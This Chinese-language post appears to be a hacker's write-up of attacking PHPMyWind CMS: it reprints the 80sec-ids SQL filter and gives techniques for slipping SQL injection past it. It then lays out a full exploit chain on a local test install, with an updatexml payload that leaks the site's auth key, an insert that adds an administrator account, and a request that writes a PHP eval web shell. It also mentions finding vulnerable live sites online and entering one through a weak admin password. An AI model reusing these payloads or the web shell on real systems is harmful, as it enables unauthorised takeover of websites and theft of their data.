较鸡肋,就看看而已
phpmywind一直也没有修补漏洞,这里有很多方法,我们这里主要使用一个任意无限制注入得到一个管理员账号,后台进行getshell
先说说 80sec-ids 的绕过吧
做代码审计的时候,遇见ids 这个waf的几率还是很高的,今天我就拿phpmywind cms做分析.
我们先看看他的代码
[Bash shell] 纯文本查看 复制代码 function CheckSql($sql, $querytype = 'select') {
$clean = '';
$error = '';
$pos = -1;
$old_pos = 0;
//如果是普通查询语句,直接过滤一些特殊语法
if ($querytype == 'select') {
if (preg_match('/[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}/', $sql)) {
$this - >DisplayError("$sql||SelectBreak", 1);
}
}
//完整的SQL检查
while (true) {
$pos = strpos($sql, '\'', $pos + 1);
if ($pos === false) {
break;
}
$clean. = substr($sql, $old_pos, $pos - $old_pos);
while (true) {
$pos1 = strpos($sql, '\'', $pos + 1);
$pos2 = strpos($sql, '\\', $pos + 1);
if ($pos1 === false) {
break;
} else if ($pos2 == false || $pos2 > $pos1) {
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean. = '$s$';
$old_pos = $pos + 1;
}
$clean. = substr($sql, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s'), array(' '), $clean)));
//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) {
$fail = true;
$error = 'union detect';
}
//发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
else if (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false) {
$fail = true;
$error = 'comment detect';
}
//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
else if (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0) {
$fail = true;
$error = 'slown down detect';
} else if (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0) {
$fail = true;
$error = 'slown down detect';
} else if (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0) {
$fail = true;
$error = 'file fun detect';
} else if (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0) {
$fail = true;
$error = 'file fun detect';
}
//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
else if (preg_match('~\([^)]*?select~s', $clean) != 0) {
$fail = true;
$error = 'sub select detect';
}
if (!empty($fail)) {
$this - >DisplayError("$sql,$error", 1);
} else {
return $sql;
}
}
}
我们来分析
首先我们看传入的 $sql 变量,这一步是我们sql语句进入mysql的最后一步,
我们下面看最核心的代码,
i[Bash shell] 纯文本查看 复制代码 f($querytype == 'select')
{
if(preg_match('/[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}/', $sql))
{
$this->DisplayError("$sql||SelectBreak",1);
}
}
//完整的SQL检查
while(true)
{
$pos = strpos($sql, '\'', $pos + 1);
if($pos === false)
{
break;
}
$clean .= substr($sql, $old_pos, $pos - $old_pos);
while(true)
{
$pos1 = strpos($sql, '\'', $pos + 1);
$pos2 = strpos($sql, '\\', $pos + 1);
if($pos1 === false)
{
break;
}
else if($pos2 == false || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
这里通过匹配 '/ 确定 最开始 ‘ 两个 单引号的内容(即 通过转义是 '/ 的内容)并且将其中的内容通过 substr()函数 截断下来,再将剩下来的语句进行匹配,所以只要我们将我们需要的语句藏在 两个单引号之间就OK了
藏在两个单引号之间虽然绕过了这个waf,但是我们需要sql语句的正确性, 我们通过资料知道 在mysql 里面,可以用@引入变量,如 @'xxx',@"xxx",@`xxx`等等,大家可以自己写一个脚本 fuzz,其中的xxx为任意字符 ,引入变量初始值都为 NULL,so @`'` @`\'` 变量的默认值是 null ,所以我们 用包含单引号的 @`'` 去包含我们的语句就可以了。有些时候插入 @`'` 会报错,我们用 char(@`'`) 就可以了。
我们在phpmywind的一些测试,如下
最后一张图里 我们可以看见虽然绕过验证但是本身的sql语法就出问题了 ,还有最后的单引号因为我可以注释,所以也就不用那么麻烦,直接单引号就可以。
后记:
从我们分析过后,对于字符的防范更加严格,可能不能使用 @ 和 char() 函数了 下面给大家看两个不需要 @ 的姿势.
第一个 借用 "xxx" ,双引号也有@的效果,xxx同样为任意字符
select * from pmw_admin where id = 1 and "\'";
最简单的还是 %00截断,非常好用,可以尝试
还有一个就是借用 `` 引入我们的column 作为where 条件语句后面的指定column使用
比如 `xxx`.``.column 就引入了一个column(column 需要真是存在的,xxx 只是适用于第一的``之间) xxx还是相当于我们的任意字符,
select * from pmw_admin where id = 1 and ``.``.id
mysql特性太多 大家最好可以写一个脚本去试试那些是可以解析的。
1.参照 http://www.wooyun.org/bugs/wooyun-2015-0117008 得到一个管理员的账号和密码,文章里有个错误
上图的md5应该加密两次 ,应该是 insert into pmw_admin (`username`,`password`) values ((123456),md5(md5(123456))) ,这样就有了一个管理员的账户
我们参照文章 http://www.wooyun.org/bugs/wooyun-2014-082805 我们可以得到一个shell,这里修改了颜色参数直接保存,再去修改就会看见命令执行了
我这里有一个getshell,我们在/admin/ajax_do.php里看见了以下代码
这里$jsonStr未初始化,通过他的伪全局,我们可以构造 jsonStr=shellcode 进行传入,而生成的路径中 $cfg_auth_key 是个全局变量,这是一串随机的代码,网站安装的时候产生的 ,我找了一些文件,最后发现在 /install/index.php 中将这个变量值写入了数据库(并没有调用,可能是写来玩吧!!!!)。
通过前面的添加管理员的注入漏洞,我就想着去报错爆出这个$cfg_auth_key值出来
绕过waf,我们构造 sql = update pmw_message set siteid=1 where id =char(@`'`) and updatexml(1,concat(0x3a,(select varvalue from pmw_webconfig where varname = 0x6366675F617574685F6B6579)),1)%23char(') 就可以爆出$cfg_auth_key = wjFWgxAHmLIJeyP3
我们访问 http://127.0.0.1:82/pmw53/admin/ajax_do.php?action=updataauth&jsonStr=%3C?php%20@eval%28$_POST[123]%29;?%3E
这样 我们就在 http://127.0.0.1:82/pmw53/data/cache/auth/auth_wjFWgxAHmLIJeyP3.php 生成了自己的shell
好了
看见了全网搜索了一下,发现一些站点,但是有一个站把已知的全补了,结果后台弱口令进去就直接getshell,但是不得不是有点鸡肋,就给大家看看玩。
|